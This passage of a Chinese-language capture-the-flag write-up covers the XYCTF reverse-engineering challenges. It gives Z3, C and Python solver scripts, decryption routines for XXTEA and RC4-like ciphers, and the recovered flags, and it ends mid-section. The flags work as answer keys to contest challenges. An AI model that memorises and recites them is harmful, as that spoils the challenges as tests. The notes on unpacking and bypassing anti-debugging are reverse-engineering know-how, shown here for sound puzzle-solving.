1 (((((((((((((((((((((( flag[23 ] * flag[23 ] ) + ( flag[12 ] * flag[12 ] ) + ( flag[1 ] * flag[1 ] ) - ( flag[24 ] * 222 )) + ( flag[22 ] * flag[22 ] ) + ( flag[31 ] * flag[31 ] ) + ( flag[26 ] * flag[26 ] ) - ( flag[9 ] * 178 ) - ( flag[29 ] * 232 )) + ( flag[17 ] * flag[17 ] ) - ( flag[23 ] * 150 ) - ( flag[6 ] * 226 ) - ( flag[7 ] * 110 )) + ( flag[19 ] * flag[19 ] ) + ( flag[2 ] * flag[2 ] ) - ( flag[0 ] * 176 )) + ( flag[10 ] * flag[10 ] ) - ( flag[12 ] * 198 )) + ( flag[24 ] * flag[24 ] ) + ( flag[9 ] * flag[9 ] ) - ( flag[3 ] * 168 )) + ( flag[8 ] * flag[8 ] ) - ( flag[2 ] * 134 )) + ( flag[14 ] * flag[14 ] ) - ( flag[13 ] * 170 )) + ( flag[4 ] * flag[4 ] ) - ( flag[10 ] * 142 )) + ( flag[27 ] * flag[27 ] ) + ( flag[15 ] * flag[15 ] ) - ( flag[15 ] * 224 )) + ( flag[16 ] * flag[16 ] ) - ( flag[11 ] * 230 ) - ( flag[1 ] * 178 )) + ( flag[28 ] * flag[28 ] ) - ( flag[5 ] * 246 ) - ( flag[17 ] * 168 )) + ( flag[30 ] * flag[30 ] ) - ( flag[21 ] * 220 ) - ( flag[22 ] * 212 ) - ( flag[16 ] * 232 )) + ( flag[25 ] * flag[25 ] ) - ( flag[4 ] * 140 ) - ( flag[31 ] * 250 ) - ( flag[28 ] * 150 )) + ( flag[11 ] * flag[11 ] ) + ( flag[13 ] * flag[13 ] ) - ( flag[14 ] * 234 )) + ( flag[7 ] * flag[7 ] ) - ( flag[8 ] * 174 )) + ( flag[3 ] * flag[3 ] ) - ( flag[25 ] * 242 )) + ( flag[29 ] * flag[29 ] ) + ( flag[5 ] * flag[5 ] ) - ( flag[30 ] * 142 ) - ( flag[26 ] * 170 ) - ( flag[19 ] * 176 )) + ( flag[0 ] * flag[0 ] ) - ( flag[27 ] * 168 )) + ( flag[20 ] * flag[20 ] ) - ( flag[20 ] * 212 )) + ( flag[21 ] * flag[21 ] ) + ( flag[6 ] * flag[6 ] ) + ( flag[18 ] * flag[18 ] ) - ( flag[18 ] * 178 )) + 297412 == 0
额 这要是跑Z3 那必是跑不通的 至于为啥 因为我跑了半天跑不通
呃啊啊啊 经过高人指点 这题Z3能跑通 但是要用Real类型而不是Int类型
但是观察到每一个flag[i]都有(flag[i]*flag[i])-(flag[i]*num)
那就稍微先整理一下num吧
经过一顿手动整理:
1 diff = [176 ,178 ,134 ,168 ,140 ,246 ,226 ,110 ,174 ,178 ,142 ,230 ,198 ,170 ,234 ,224 ,232 ,168 ,178 ,176 ,212 ,220 ,212 ,150 ,222 ,242 ,170 ,168 ,150 ,232 ,142 ,250 ]
呃 这是不是有点眼熟,尤其是这个176,178就好像那个XY
然后我除了个2,就出来了flag
flag:XYCTF{q7WYGscUuptTYXjnjKoyUTKtG}
5.10. ez_enc
这样的妹妹给我来一沓
发现手算没算明白 就直接用z3秒了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from z3 import *inp = [BitVec(f'inp_{i} ' ,8 ) for i in range (34 )] key = [ord (i) for i in "IMouto" ] for i in range (len (inp)-1 ): inp[i]= key[i%6 ]^(inp[i+1 ]+(inp[i]%20 )) ans = [0x27 ,0x24 ,0x17 ,0x0B ,0x50 ,0x03 ,0xC8 ,0x0C ,0x1F ,0x17 ,0x36 ,0x55 ,0xCB ,0x2D ,0xE9 ,0x32 ,0x0E ,0x11 ,0x26 ,0x02 ,0x0C ,0x07 ,0xFC ,0x27 ,0x3D ,0x2D ,0xED ,0x35 ,0x59 ,0xEB ,0x3C ,0x3E ,0xE4 ,0x7D ] s = Solver() for i in range (len (inp)): s.add(ans[i]==inp[i]) print (s.check())ans = s.model() ans = dict (zip ([str (i) for i in ans],[ans[i] for i in ans])) for i in range (34 ): print (chr (ans[f"inp_{i} " ].as_long()),end="" )
5.11. ez_rand
srand竟然用的int16这不爆破?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #include <stdio.h> #include <string.h> #include <stdlib.h> const unsigned char enc[] = {0x5D ,0x0C ,0x6C ,0xEA ,0x46 ,0x19 ,0xFC ,0x34 ,0xB2 ,0x62 ,0x23 ,0x07 ,0x62 ,0x22 ,0x6E ,0xFB ,0xB4 ,0xE8 ,0xF2 ,0xA9 ,0x91 ,0x12 ,0x21 ,0x86 ,0xDB ,0x8E ,0xE9 ,0x43 ,0x4D }; int main () { char ans[0x100 ]={0 }; for (int i=0 ;i<=0xFFFF ;i++){ srand (i); for (int i=0 ;i<29 ;i++){ ans[i] = enc[i]^(rand ()%0xFF ); } if (strncmp (ans,"XYCTF" ,5 )==0 )break ; if (strncmp (ans,"xyctf" ,5 )==0 )break ; if (strncmp (ans,"flag" ,4 )==0 )break ; } printf (ans); return 0 ; }
得出flag:XYCTF{R@nd_1s_S0_S0_S0_easy!}
5.12. 何须相思煮余年
cyberchif from hex转成二进制 然后32bit拖进ida:
这就简单了,直接python交互解决(可恶 我当初为啥不保存个脚本):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 >>> enc = [88 ,88 ,134 ,87 ,74 ,118 ,318 ,101 ,59 ,92 ,480 ,60 ,65 ,41 ,770 ,110 ,73 ,31 ,918 ,39 ,120 ,27 ,1188 ,47 ,77 ,24 ,1352 ,44 ,81 ,23 ,1680 ,46 ,85 ,15 ,1870 ,66 ,91 ,16 ,4750 ]>>> _0 = lambda i,j:i-j>>> _1 = lambda i,j:i+j>>> _2 = lambda i,j:i//j>>> _3 = lambda i,j:i^j>>> arr = [_0,_1,_2,_3]>>> _ = [arr[i%4 ](enc[i],i) for i in range (len (enc))]>>> _[88 , 89 , 67 , 84 , 70 , 123 , 53 , 98 , 51 , 101 , 48 , 55 , 53 , 54 , 55 , 97 , 57 , 48 , 51 , 52 , 100 , 48 , 54 , 56 , 53 , 49 , 52 , 55 , 53 , 52 , 56 , 49 , 53 , 48 , 55 , 97 , 55 , 53 , 125 ] >>> _ = [chr (i) for i in _]>>> _['X' , 'Y' , 'C' , 'T' , 'F' , '{' , '5' , 'b' , '3' , 'e' , '0' , '7' , '5' , '6' , '7' , 'a' , '9' , '0' , '3' , '4' , 'd' , '0' , '6' , '8' , '5' , '1' , '4' , '7' , '5' , '4' , '8' , '1' , '5' , '0' , '7' , 'a' , '7' , '5' , '}' ] >>> "" .join(_)'XYCTF{5b3e07567a9034d06851475481507a75}'
5.13. 砸核桃
有壳 脱壳
ida反编译结果是简单异或
5.14. What’s this
拖进DIE里竟然告诉我是lua 那就去查lua咋逆向好了
java -jar C:\Users\Munchkin7035\Desktop\unluac_2023_12_24.jar "C:\Users\Munchkin7035\Desktop\what's this (1)" >> out.txt
1 2 3 4 5 6 7 8 9 10 11 12 require ("base64" )obfuscated_output = to_base64(output ) obfuscated_output = string .reverse (obfuscated_output) obfuscated_output = string .gsub (obfuscated_output, "g" , "3" ) obfuscated_output = string .gsub (obfuscated_output, "H" , "4" ) obfuscated_output = string .gsub (obfuscated_output, "W" , "6" ) invalid_variable = obfuscated_output:rep (5 ) if obfuscated_output == "==AeuFEcwxGPuJ0PBNzbC16ctFnPB5DPzI0bwx6bu9GQ2F1XOR1U" then print ("You get the flag." ) else print ("F**k!" ) end
output -> b64 -> 字符串替换 -> reverse -> enc
在往上找到output的赋值操作
1 2 3 4 5 for i = 1 , string .len (flag) do temp = string .byte (value, i) temp = string .char (temp + 3 ) output = output .. temp end
value -> +3 -> output
再往上找value赋值
1 2 3 4 5 6 7 8 9 while true do local temp = string .byte (flag, i) temp = string .char (Xor(temp, 8 ) % 256 ) value = value .. temp i = i + 1 if i > string .len (flag) then break end end
flag -> xor 8 -> value
然后通过cyberchif得出flag:
1 https://gchq.github.io/CyberChef/#recipe=Reverse('Character')Find_/_Replace(%7B'option':'Simple%20string','string':'3'%7D,'g',true,false,true,false)Find_/_Replace(%7B'option':'Simple%20string','string':'4'%7D,'H',true,false,true,false)Find_/_Replace(%7B'option':'Simple%20string','string':'6'%7D,'W',true,false,true,false)From_Base64('A-Za-z0-9%2B/%3D',true,false)SUB(%7B'option':'Hex','string':'3'%7D)XOR(%7B'option':'Hex','string':'8'%7D,'Standard',false)&input=PT1BZXVGRWN3eEdQdUowUEJOemJDMTZjdEZuUEI1RFB6STBid3g2YnU5R1EyRjFYT1IxVQ&ieol=CRLF&oeol=CR
5.15. Findme
生成的密码表,咋生成的我实在不想管了,就直接抄了一遍代码
然后是配合random来插值,只要重新跑一跑代码来跳过就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 #include <stdio.h> #include <string.h> #include <stdint.h> #include <stdlib.h> #include <assert.h> uint8_t byte_14001D960[512 ];const char * Str = "Find_Doraemon" ; uint8_t byte_14001D201;void init () { char v9[532 ]; int j; int v7 = strlen (Str); int v11 = 0 ; int v12 = 0 ; memset (v9, 0 , 0x200 ); for ( j = 0 ; j < 0x200 ; ++j ) { byte_14001D960[j] = -(char )j; v9[j] = Str[j % v7]; } while ( v11 < 512 ) { v12 = ((unsigned __int8)v9[v11] + byte_14001D960[v11] + v12) % 512 ; byte_14001D201 = byte_14001D960[v11]; byte_14001D960[v11] = byte_14001D960[v12]; byte_14001D960[v12] = byte_14001D201; ++v11; } } int main () { int v13=0 ,v14=0 ,v11=0 ,v12,i,v8; uint8_t v15,v16; init (); for (int i=0 ;i<512 ;i++){ if (i%16 ==0 )printf ("\n" ); printf ("%02X " ,byte_14001D960[i]); } FILE* fin=fopen (R"(C:\Users\jht3\Downloads\Findme\Doraemon1)","rb"); FILE* fout=fopen(R"(C:\Users\jht3\Downloads\Findme\Doraemon3)","wb"); while(!feof(fin)){ v13 = (v13 + 1) % 512; v14 = (byte_14001D960[v13] + v14) % 512; byte_14001D201 = byte_14001D960[v13]; byte_14001D960[v13] = byte_14001D960[v14]; byte_14001D960[v14] = byte_14001D201; v16 = byte_14001D960[(unsigned __int8)((byte_14001D960[v14] + byte_14001D960[v13]) % 512)]; v15 = v16 ^ fgetc(fin); fputc(v15, fout); srand(byte_14001D960[v11 % 512]); v12 = rand() % 4; //printf("v12 %d\n",v12); for ( i = 0; i < v12; ++i ) { v8 = rand(); if(!feof(fin))assert(v8 % 0x100==fgetc(fin)); else break; } ++v11; } fclose(fin); fclose(fout); return 0; }
然后就能获得Dorameon3,查看一下代码
额,读入xor key,然后还不知道输出文件格式,一时间没什么思路,但是还剩可以先做一下xor14的
看到有Doraemon的字符循环,猜测把原文件的空白字节段给xor了的结果,于是猜测xor key就是Doraemon:
cyberchif还贴心的识别出了这是个gif,真不错,打开看见flag
5.16. ez_cube
你会玩魔方吗,反正我不会
观察到长度只有12,操作还只有4种,那就 爆破 由于要最简操作还能做个剪枝 跑的应该挺快(大概)!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 import itertoolsimport subprocessimport timechars = ["R" , "U" , "r" , "u" ] length = 12 permutations = itertools.product(chars, repeat=length) result = ["" .join(p) for p in permutations if len (p) == length] result = [ i for i in result if not any ([k in i for k in ["Rr" , "rR" , "Uu" , "uU" , "RRR" , "rrr" , "UUU" , "uuu" ]]) ] def check (ans ): RedFace = ["Red" ] * 9 BlueFace = ["Blue" ] * 9 GreenFace = ["Green" ] * 9 OrangeFace = ["Orange" ] * 9 YellowFace = ["Yellow" ] * 9 WhiteFace = ["White" ] * 9 BlueFace[1 ] = "Red" RedFace[1 ] = "Green" GreenFace[1 ] = "Blue" def R (): v1 = RedFace[2 ] v2 = RedFace[5 ] v3 = RedFace[8 ] RedFace[2 ] = WhiteFace[2 ] RedFace[5 ] = WhiteFace[5 ] RedFace[8 ] = WhiteFace[8 ] WhiteFace[2 ] = OrangeFace[6 ] WhiteFace[5 ] = OrangeFace[3 ] WhiteFace[8 ] = OrangeFace[0 ] OrangeFace[0 ] = YellowFace[8 ] OrangeFace[3 ] = YellowFace[5 ] OrangeFace[6 ] = YellowFace[2 ] YellowFace[2 ] = v1 YellowFace[5 ] = v2 YellowFace[8 ] = v3 v4 = GreenFace[1 ] GreenFace[1 ] = GreenFace[3 ] GreenFace[3 ] = GreenFace[7 ] GreenFace[7 ] = GreenFace[5 ] GreenFace[5 ] = v4 v5 = GreenFace[0 ] GreenFace[0 ] = GreenFace[6 ] GreenFace[6 ] = GreenFace[8 ] GreenFace[8 ] = GreenFace[2 ] GreenFace[2 ] = v5 def U (): v1 = RedFace[0 ] v2 = RedFace[1 ] v3 = RedFace[2 ] RedFace[0 ] = GreenFace[0 ] RedFace[1 ] = GreenFace[1 ] RedFace[2 ] = GreenFace[2 ] GreenFace[0 ] = OrangeFace[0 ] GreenFace[1 ] = OrangeFace[1 ] GreenFace[2 ] = OrangeFace[2 ] OrangeFace[0 ] = BlueFace[0 ] OrangeFace[1 ] = BlueFace[1 ] OrangeFace[2 ] = BlueFace[2 ] BlueFace[0 ] = v1 BlueFace[1 ] = v2 BlueFace[2 ] = v3 v4 = YellowFace[1 ] YellowFace[1 ] = YellowFace[3 ] YellowFace[3 ] = YellowFace[7 ] YellowFace[7 ] = YellowFace[5 ] YellowFace[5 ] = v4 v5 = YellowFace[0 ] YellowFace[0 ] = YellowFace[6 ] YellowFace[6 ] = YellowFace[8 ] YellowFace[8 ] = YellowFace[2 ] YellowFace[2 ] = v5 def r (): v1 = RedFace[2 ] v2 = RedFace[5 ] v3 = RedFace[8 ] RedFace[2 ] = YellowFace[2 ] RedFace[5 ] = YellowFace[5 ] RedFace[8 ] = YellowFace[8 ] YellowFace[2 ] = OrangeFace[6 ] YellowFace[5 ] = OrangeFace[3 ] YellowFace[8 ] = OrangeFace[0 ] OrangeFace[0 ] = WhiteFace[8 ] OrangeFace[3 ] = WhiteFace[5 ] OrangeFace[6 ] = WhiteFace[2 ] WhiteFace[2 ] = v1 WhiteFace[5 ] = v2 WhiteFace[8 ] = v3 v4 = GreenFace[1 ] GreenFace[1 ] = GreenFace[5 ] GreenFace[5 ] = GreenFace[7 ] GreenFace[7 ] = GreenFace[3 ] GreenFace[3 ] = v4 v5 = GreenFace[0 ] GreenFace[0 ] = GreenFace[2 ] GreenFace[2 ] = GreenFace[8 ] GreenFace[8 ] = GreenFace[6 ] GreenFace[6 ] = v5 def u (): v1 = RedFace[0 ] v2 = RedFace[1 ] v3 = RedFace[2 ] RedFace[0 ] = BlueFace[0 ] RedFace[1 ] = BlueFace[1 ] RedFace[2 ] = BlueFace[2 ] BlueFace[0 ] = OrangeFace[0 ] BlueFace[1 ] = OrangeFace[1 ] BlueFace[2 ] = OrangeFace[2 ] OrangeFace[0 ] = GreenFace[0 ] OrangeFace[1 ] = GreenFace[1 ] OrangeFace[2 ] = GreenFace[2 ] GreenFace[0 ] = v1 GreenFace[1 ] = v2 GreenFace[2 ] = v3 v4 = YellowFace[1 ] YellowFace[1 ] = YellowFace[5 ] YellowFace[5 ] = YellowFace[7 ] YellowFace[7 ] = YellowFace[3 ] YellowFace[3 ] = v4 v5 = YellowFace[0 ] YellowFace[0 ] = YellowFace[2 ] YellowFace[2 ] = YellowFace[8 ] YellowFace[8 ] = YellowFace[6 ] YellowFace[6 ] = v5 d = {"R" : R, "U" : U, "r" : r, "u" : u} for i in ans: d[i]() if all ( [ all ([i == "Red" for i in RedFace]), all ([i == "Blue" for i in BlueFace]), all ([i == "Green" for i in GreenFace]), all ([i == "Orange" for i in OrangeFace]), all ([i == "Yellow" for i in YellowFace]), all ([i == "White" for i in WhiteFace]), ] ): print (ans) for res in result: res = '' .join(res) if any ([i in res for i in ["Rr" ,"rR" ,"Uu" ,"uU" ,"RRR" ,"rrr" ,"UUU" ,"uuu" ]]): continue check(res)
得出flag:
1 2 RuRURURuruRR RuRURURururr
5.17. easy language
易语言啊 装个易语言插件,可以补全很多函数
但是我没装中文函数补丁 就只能看j______的函数名了,总之至少看到了AES-ECB加密
↑字符集比较
绕过debuger检测:
在这里改变RIP就行
找出密文
在比较函数附近内存能看到这个b64的字符串
在aes加密函数附近能找到这个key,动调也能发现IV得0,然后得到flag
5.18. 给阿姨倒一杯卡布奇诺
魔改xxtea,多了个sum+i
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 #include <stdio.h> #include <stdint.h> uint32_t data1=0x5F797274 ,data2=0x64726168 ;void encrypt (uint32_t *v, uint32_t *k) { int i; uint32_t sum; uint32_t v1a; uint32_t v1; uint32_t v0; sum = 1853174124 *0x20 ; v0 = v[0 ]; v1 = v[1 ]; for ( i = 0x1F ; i >=0 ; i-- ) { v1 -= ((v0 >> 5 ) + k[3 ]) ^ (v0 + sum) ^ (k[2 ] + 16 * v0) ^ (sum + i); v0 -= ((v1 >> 5 ) + k[1 ]) ^ (v1 + sum) ^ (*k + 16 * v1) ^ (sum + i); sum -= 1853174124 ; } v0 ^= data1; v1 ^= data2; data1 = v[0 ]; data2 = v[1 ]; v[0 ] = v0; v[1 ] = v1; } int main () { uint32_t key[4 ]; uint32_t array[8 ]; array[0 ] = 0x9B28ED45 ; array[1 ] = 0x145EC6E9 ; array[2 ] = 0x5B27A6C3 ; array[3 ] = 0xE59E75D5 ; array[4 ] = 0xE82C2500 ; array[5 ] = 0xA4211D92 ; array[6 ] = 0xCD8A4B62 ; array[7 ] = 0xA668F440 ; key[0 ] = 0x65766967 ; key[1 ] = 0x756F795F ; key[2 ] = 0x7075635F ; key[3 ] = 0x6165745F ; encrypt (array,key); encrypt (&array[2 ],key); encrypt (&array[4 ],key); encrypt (&array[6 ],key); printf ("%X %X " ,array[0 ],array[1 ]); printf ("%X %X " ,array[2 ],array[3 ]); printf ("%X %X " ,array[4 ],array[5 ]); printf ("%X %X \n" ,array[6 ],array[7 ]); printf ("%32s" ,array); return 0 ; }
flag:flag{133bffe401d223a02385d90c5f1ca377}
5.19. 馒头
手搓哈夫曼树是吧
然后就,根据字符顺序挨个把权重转化成字符即可
flag:XYCTF{xaf1svut7rojh3de0}
5.20. 舔狗四部曲–简爱
这里howtolove是个虚拟机,而src是flag{Love_is_not_one_sided_Love},虽然我上面的tea算法好像是个fake_flag,我没太注意就没管
总之就是输入走howtolove然后和src比较,相等就行了,至于这个虚拟机怎么相等,就交给z3罢
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 from z3 import *v2 = [0 ]*1500 v2[32 ] = 2 v2[65 ] = 2 v2[66 ] = 4 v2[98 ] = 2 v2[99 ] = 5 v2[185 ] = 2 v2[186 ] = 2 v2[187 ] = 1 v2[188 ] = 1 v2[189 ] = 1 v2[190 ] = 1 v2[191 ] = 1 v2[192 ] = 1 v2[193 ] = 1 v2[194 ] = 1 v2[195 ] = 1 v2[196 ] = 1 v2[197 ] = 1 v2[198 ] = 1 v2[199 ] = 1 v2[200 ] = 1 v2[201 ] = 1 v2[202 ] = 1 v2[203 ] = 1 v2[204 ] = 1 v2[205 ] = 1 v2[206 ] = 1 v2[207 ] = 1 v2[208 ] = 1 v2[209 ] = 1 v2[210 ] = 1 v2[211 ] = 1 v2[212 ] = 1 v2[213 ] = 1 v2[214 ] = 1 v2[215 ] = 1 v2[216 ] = 1 v2[217 ] = 1 v2[218 ] = 1 v2[219 ] = 1 v2[220 ] = 1 v2[221 ] = 1 v2[222 ] = 1 v2[223 ] = 1 v2[224 ] = 1 v2[225 ] = 1 v2[226 ] = 1 v2[227 ] = 1 v2[228 ] = 1 v2[229 ] = 2 v2[232 ] = 2 v2[256 ] = 2 v2[257 ] = 5 v2[303 ] = 1 v2[304 ] = 1 v2[305 ] = 1 v2[306 ] = 1 v2[307 ] = 2 v2[308 ] = 5 v2[328 ] = 1 v2[329 ] = 1 v2[330 ] = 1 v2[331 ] = 1 v2[332 ] = 1 v2[333 ] = 1 v2[334 ] = 1 v2[335 ] = 1 v2[336 ] = 1 v2[337 ] = 1 v2[338 ] = 1 v2[339 ] = 1 v2[340 ] = 1 v2[341 ] = 1 v2[342 ] = 2 v2[353 ] = 2 v2[354 ] = 5 v2[430 ] = 2 v2[431 ] = 2 v2[432 ] = 5 v2[523 ] = 2 v2[524 ] = 5 v2[564 ] = 2 v2[565 ] = 5 v2[627 ] = 2 v2[628 ] = 1 v2[629 ] = 1 v2[630 ] = 1 v2[631 ] = 1 v2[632 ] = 1 v2[633 ] = 1 v2[634 ] = 1 v2[635 ] = 1 v2[636 ] = 1 v2[637 ] = 1 v2[638 ] = 1 v2[639 ] = 1 v2[640 ] = 1 v2[641 ] = 1 v2[642 ] = 1 v2[643 ] = 1 v2[644 ] = 1 v2[645 ] = 1 v2[646 ] = 1 v2[647 ] = 2 v2[648 ] = 4 v2[649 ] = 1 v2[650 ] = 1 v2[651 ] = 1 v2[652 ] = 1 v2[653 ] = 2 v2[680 ] = 2 v2[687 ] = 2 v2[688 ] = 4 v2[698 ] = 2 v2[766 ] = 2 v2[767 ] = 5 v2[818 ] = 2 v2[819 ] = 1 v2[820 ] = 2 v2[827 ] = 2 v2[828 ] = 5 v2[846 ] = 2 v2[847 ] = 5 v2[890 ] = 2 v2[891 ] = 1 v2[892 ] = 1 v2[893 ] = 1 v2[894 ] = 1 v2[895 ] = 1 v2[896 ] = 1 v2[897 ] = 1 v2[898 ] = 1 v2[899 ] = 1 v2[900 ] = 1 v2[901 ] = 1 v2[902 ] = 1 v2[903 ] = 1 v2[904 ] = 1 v2[905 ] = 1 v2[906 ] = 1 v2[907 ] = 1 v2[908 ] = 1 v2[909 ] = 1 v2[910 ] = 1 v2[911 ] = 1 v2[912 ] = 1 v2[913 ] = 1 v2[914 ] = 1 v2[915 ] = 1 v2[916 ] = 1 v2[917 ] = 1 v2[918 ] = 1 v2[919 ] = 1 v2[920 ] = 1 v2[921 ] = 1 v2[922 ] = 1 v2[923 ] = 1 v2[924 ] = 1 v2[925 ] = 1 v2[926 ] = 1 v2[927 ] = 1 v2[928 ] = 1 v2[929 ] = 1 v2[930 ] = 1 v2[931 ] = 1 v2[932 ] = 1 v2[933 ] = 2 v2[934 ] = 5 v2[989 ] = 2 v2[994 ] = 2 v2[995 ] = 1 v2[996 ] = 1 v2[997 ] = 1 v2[998 ] = 1 v2[999 ] = 1 v2[1000 ] = 1 v2[1001 ] = 1 v2[1002 ] = 1 v2[1003 ] = 1 v2[1013 ] = 1 v2[1014 ] = 1 v2[1015 ] = 1 v2[1016 ] = 1 v2[1017 ] = 1 v2[1018 ] = 1 v2[1019 ] = 1 v2[1020 ] = 1 v2[1021 ] = 1 v2[1022 ] = 1 v2[1023 ] = 1 v2[1024 ] = 1 v2[1025 ] = 1 v2[1026 ] = 1 v2[1027 ] = 2 v2[1028 ] = 3 inp = [BitVec(f"char_{i} " ,8 ) for i in range (32 )] a1 = inp[:] v4 = 0 for i in v2: if i==0 : a1[v4] += 1 elif i==1 : a1[v4] -= 1 elif i==2 : v4 += 1 elif i==3 : break elif i==4 : a1[v4]=a1[v4]+a1[v4+1 ]-70 elif i==5 : a1[v4]=a1[v4]-a1[v4+1 ]+70 flag = "flag{Love_is_not_one_sided_Love}" s = Solver() for i in range (32 ): s.add(a1[i]==ord (flag[i])) s.check() ans = s.model() for i in inp: print (chr (ans[i].as_long()),end="" )
5.21. 舔狗四部曲–相逢已是上上签
拖进DIE里 看DIE信息以为又nm来一道16位汇编题,但是IDA 16bit模式打不开,HxD打开一看"This program cannot be run in DOS mode",这不是我们亲爱的DOS头吗,那这题绝对不是16位汇编了啊,那八成是魔改DOS头了,那问题来了,为啥DIE读出来DOS头了没读出来PE头呢,010 启动!
合着PE头偏移给改了啊,那我改回去不就好了,把这个值改成100h然后拖进die:
是32位程序呢,拖进DIA里:
先是读进一个key,然后是一大坨比较,然后读入flag,通过key xxtea,最后和v6比较
先解决key的问题,用z3把他秒了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 from z3 import *byte_422918 = [Int(f"char_{i} " ) for i in range (6 )] s = Solver() s.add( 532 * byte_422918[5 ] + 829 * byte_422918[4 ] + 258 * byte_422918[3 ] + 811 * byte_422918[2 ] + 997 * byte_422918[1 ] + 593 * byte_422918[0 ] == 292512 ) s.add( 576 * byte_422918[5 ] + 695 * byte_422918[4 ] + 602 * byte_422918[3 ] + 328 * byte_422918[2 ] + 686 * byte_422918[1 ] + 605 * byte_422918[0 ] == 254496 ) s.add( 580 * byte_422918[5 ] + 448 * byte_422918[4 ] + 756 * byte_422918[3 ] + 449 * byte_422918[2 ] + (byte_422918[1 ] *(1 << 9 )) + 373 * byte_422918[0 ] == 222479 ) s.add( 597 * byte_422918[5 ] + 855 * byte_422918[4 ] + 971 * byte_422918[3 ] + 422 * byte_422918[2 ] + 635 * byte_422918[1 ] + 560 * byte_422918[0 ] == 295184 ) s.add( 524 * byte_422918[5 ] + 324 * byte_422918[4 ] + 925 * byte_422918[3 ] + 388 * byte_422918[2 ] + 507 * byte_422918[1 ] + 717 * byte_422918[0 ] == 251887 ) s.add( 414 * byte_422918[5 ] + 495 * byte_422918[4 ] + 518 * byte_422918[3 ] + 884 * byte_422918[2 ] + 368 * byte_422918[1 ] + 312 * byte_422918[0 ] == 211260 ) for i in byte_422918: s.add(i>=0 ) s.add(i<=0xFF ) s.check() print (s.model())
1 2 3 4 5 6 [char_1 = 89, char_5 = 33, char_4 = 70, char_0 = 88, char_2 = 67, char_3 = 84]
整理一下,key就是XYCTF!
,那flag也好说了,xxtea只要逆着算就能还原:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 #include <stdio.h> #include <stdint.h> const char * key = "XYCTF!" ;void enc (uint32_t *enc) { uint32_t sum = 0 ; for (int i=0 ;i<12 ;i++) { sum -= 0x61C88647 ; uint32_t v6 = (sum >> 2 ) & 5 ; for (int j=0 ;j<8 ;++j) { uint32_t next = enc[(j+1 )%8 ]; uint32_t last = enc[(j-1 +8 )%8 ]; enc[j] +=((last^key[v6^j&5 ])+(next^sum))^(((16 *last)^(next>>3 ))+((4 *next)^(last>>5 ))); } } } void re (uint32_t *enc) { uint32_t sum = -0x61C88647 *12 ; for (int i=0 ;i<12 ;i++){ uint32_t v6 = (sum >> 2 ) & 5 ; for (int j=7 ;j>=0 ;j--){ uint32_t next = enc[(j+1 )%8 ]; uint32_t last = enc[(j-1 +8 )%8 ]; enc[j] -=((last^key[v6^j&5 ])+(next^sum))^(((16 *last)^(next>>3 ))+((4 *next)^(last>>5 ))); } sum += 0x61C88647 ; } } int main () { uint32_t arr[] = {0x66697271 ,0x896E2285 ,0xC5188C1B ,0x72BCFD03 ,0x538011CA ,0x4DA146AC ,0x86630D6B ,0xF89797F0 }; re (arr); for (int i=0 ;i<8 ;i++){ printf ("%X " ,arr[i]); } printf ("\n%s" ,arr); return 0 ; }
flag:XYCTF{XXTEA_AND_Z3_1s_S0_easy!!}
5.22. 舔狗四部曲–记忆的时光机
好像有点花指令啊,拖进去main张这样:
看一眼汇编,呃
很显然ida没看出来这个jmp rax是啥,而且看样子好像是在main的栈上弄了个地址数组挨个jmp,那我,动调,启动!
把一路的汇编都复制下来,然后整理就行了
main函数:
